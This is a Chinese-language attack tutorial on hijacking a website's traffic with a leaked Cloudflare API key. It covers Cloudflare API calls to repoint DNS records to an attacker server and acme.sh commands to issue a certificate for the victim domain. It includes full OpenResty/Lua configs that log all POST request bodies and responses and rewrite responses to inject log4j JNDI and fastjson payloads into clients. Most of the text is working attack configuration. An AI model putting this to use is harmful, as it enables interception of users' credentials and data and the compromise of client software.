利用OpenResty进行域名流量劫持
背景
攻击者具有修改域名解析记录的权限(比如拥有CloudFlare的API Key),可以修改CNAME或者A记录,想通过修改域名解析记录的方式,获取目标网站的所有流量(包括但不限于POST明文请求)。可以利用OpenResty的Lua扩展功能,记录HTTP请求体和相应的Response。顺嘴提一句,在CloudFalre里面,一般的接口操作都可以用API Key完成,但是一旦涉及到证书的续订下载等操作,需要用CA Key。
攻击流程
首先可以通过API接口查看泄漏的key是否生效:
查看Zones
GET https://api.cloudflare.com/client/v4/zones
查看Zones对应的DNS记录
GET https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_records
查看审计日志
获取最近的登陆日志、操作日志、客户端IP等:
GET https://api.cloudflare.com/client/v4/accounts/<Account ID>/audit_logs
查看最近的DNS请求数量
GET https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_analytics/report?dimensions=responseCode,queryName&metrics=queryCount&sort=+responseCode,-queryName&filters=responseCode==NOERROR&since=2023-02-13T12:00:00Z&until=2023-02-13T18:00:00Z&limit=1000
HTTPS证书
假如目标网站是https,但是又获取不到https的证书,可以选择使用acme.sh来重新生成另外一份HTTPS证书,因为已经有了DNS的解析权限,可以走DNS验证的方式来获取域名证书:
/root/.acme.sh/acme.sh --issue --dns -d <victim.com> -d "*.<victim.com>" --yes-I-know-dns-manual-mode-enough-go-ahead-please
/root/.acme.sh/acme.sh --renew --dns -d <victim.com> -d "*.<victim.com>" --yes-I-know-dns-manual-mode-enough-go-ahead-please
第一个条命令会生成两个TXT解析,利用已有的DNS权限创建对应的TXT解析记录,然后运行第二条命令,不出意外的话可以成功生成证书。这时可以删除这两条TXT记录,注意使用dns认证的方式生成证书不可以自动续订。
相关的CloudFlare接口:
新增DNS Record
POST https://api.cloudflare.com/client/v4/zones/<Zone ID>/dns_records
{"type":"TXT", "name":"_acme-challenge.<victim.com>", "content":"TK..."}
删除DNS Record
DELETE https://api.cloudflare.com/client/v4/zones/<Zone ID>/dns_records/<DNS Record ID>
步骤
不管是CNAME解析还是A解析都可以修改为A解析的方式,劫持域名到自己的服务器,前提是使用OpenResty把反代设置好,配置文件主要参考virusdefender师傅:
server {
listen 80;
server_name <victim.com>;
return 301 https://<victim.com>$request_uri;
}
server {
listen 443 ssl;
server_name <victim.com>;
proxy_ssl_server_name on;
proxy_ssl_name <victim.com>;
ssl_certificate /root/.acme.sh/<victim.com>/fullchain.cer;
ssl_certificate_key /root/.acme.sh/<victim.com>/<victim.com>;
error_log stderr error;
location / {
proxy_pass https://<victim.com>;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header User-Agent $http_user_agent;
proxy_set_header referer "https://<victim.com>$request_uri";
proxy_set_header Host $host;
set $resp_body "";
set $req_body "";
access_by_lua '
ngx.req.read_body();
';
body_filter_by_lua '
ngx.ctx.buffered = (ngx.ctx.buffered or "") .. ngx.arg[1]
if ngx.arg[2] then
ngx.var.resp_body = ngx.ctx.buffered
end
';
log_by_lua '
local method=ngx.req.get_method();
if method == "POST" or (method == "PUT") or (method == "DELETE") then
ngx.log(ngx.ERR, "\\n".. ngx.req.raw_header());
if ngx.req.get_body_data() ~= nil then
ngx.log(ngx.ERR, "\\n====Request===>\\n" .. ngx.req.get_body_data() .. "\\n\\n<===Request====\\n");
end
ngx.log(ngx.ERR, "\\n====Response===>\\n" .. ngx.var.resp_body .. "\\n<===Response====\\n");
end
';
}
access_log /home/wwwlogs/access.log;
error_log /home/wwwlogs/error.log;
}
如果想看记录所有的请求,把上面的请求方法判断去掉就可以了。
X-Forwarded-For字段
假如需要劫持的是一个中间代理域名,上游服务器是通过白名单IP来限制访问,获取IP的方式是通过XFF,这时候需要把XFF设置为$remote_addr
Host字段
这里有一个很奇怪的问题,大概是取决于upstream的配置,有时候需要配置为proxy_set_header Host $host
,但是有时候可能是proxy_set_header Host $proxy_host
。
在以上都设置好之后,利用本地hosts绑定的方式先测试网站的接口功能是否正常,生成的日志是否正常。另外可以给80和443端口另外单独做一个默认配置,这样可以防止扫描器等日志出现,只单独记录反代的日志,
比如443端口新增一个自定义证书:
openssl genrsa -out privatekey.pem 2048
openssl req -new -key privatekey.pem -out private-csr.pem
openssl x509 -req -days 365 -in private-csr.pem -signkey privatekey.pem -out certificate.pem
修改OpenResty配置:
server {
listen 443 ssl;
server_name localhost default;
ssl_certificate /usr/local/openresty/nginx/certs/certificate.pem;
ssl_certificate_key /usr/local/openresty/nginx/certs/privatekey.pem;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
location / {
root html;
index index.html index.htm;
}
}
经过上面设置这时候反代已经设置好可以进行流量劫持了,先记录原有的DNS解析,然后通过API修改域名的解析记录,解析道自己的服务器上,必要的情况下需要重新改回来:
修改解析记录
PUT https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_records/<DNS Record ID>
{"type":"A", "name":"<victim.com>", "content":"<attack ip>", "proxiable": false, "proxied": false}
修改Response
如果有其他的需求,比如修改Response用来测试客户端是否存在fastjson或者log4j漏洞,可以增加以下Lua代码,来修改特定的接口返回值:
location /some-api {
proxy_pass https://<victim.com>;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
proxy_set_header User-Agent $http_user_agent;
proxy_set_header referer "https://<victim.com>$request_uri";
proxy_set_header Host $proxy_host;
set $resp_body "";
set $req_body "";
access_by_lua '
ngx.req.read_body();
';
header_filter_by_lua_block { ngx.header.content_length = nil }
body_filter_by_lua '
local chunk, eof = ngx.arg[1], ngx.arg[2]
local buffered = ngx.ctx.buffered
if not buffered then
buffered = {} -- XXX we can use table.new here
ngx.ctx.buffered = buffered
end
if chunk ~= "" then
buffered[#buffered + 1] = chunk
ngx.arg[1] = nil
end
if eof then
local whole = table.concat(buffered)
ngx.ctx.buffered = nil
-- try to unzip
-- local status, debody = pcall(com.decode, whole)
-- if status then whole = debody end
-- try to add or replace response body
-- local js_code = ...
-- whole = whole .. js_code
ngx.log(ngx.ERR, whole)
whole = string.gsub(whole, ".+", "{\\"@type\\":\\"java.net.Inet6Address\\",\\"value\\":\\"dnslog\\", \\"message\\":\\"${jndi:ldap://dnslog}\\"}")
ngx.arg[1] = whole
end
';
log_by_lua '
local method=ngx.req.get_method();
if method == "POST" or (method == "PUT") or (method == "DELETE") then
ngx.log(ngx.ERR, "\\n".. ngx.req.raw_header());
if ngx.req.get_body_data() ~= nil then
ngx.log(ngx.ERR, "\\n====Request===>\\n" .. ngx.req.get_body_data() .. "\\n\\n<===Request====\\n");
end
ngx.log(ngx.ERR, "\\n====Response===>\\n" .. ngx.var.resp_body .. "\\n<===Response====\\n");
end
';
}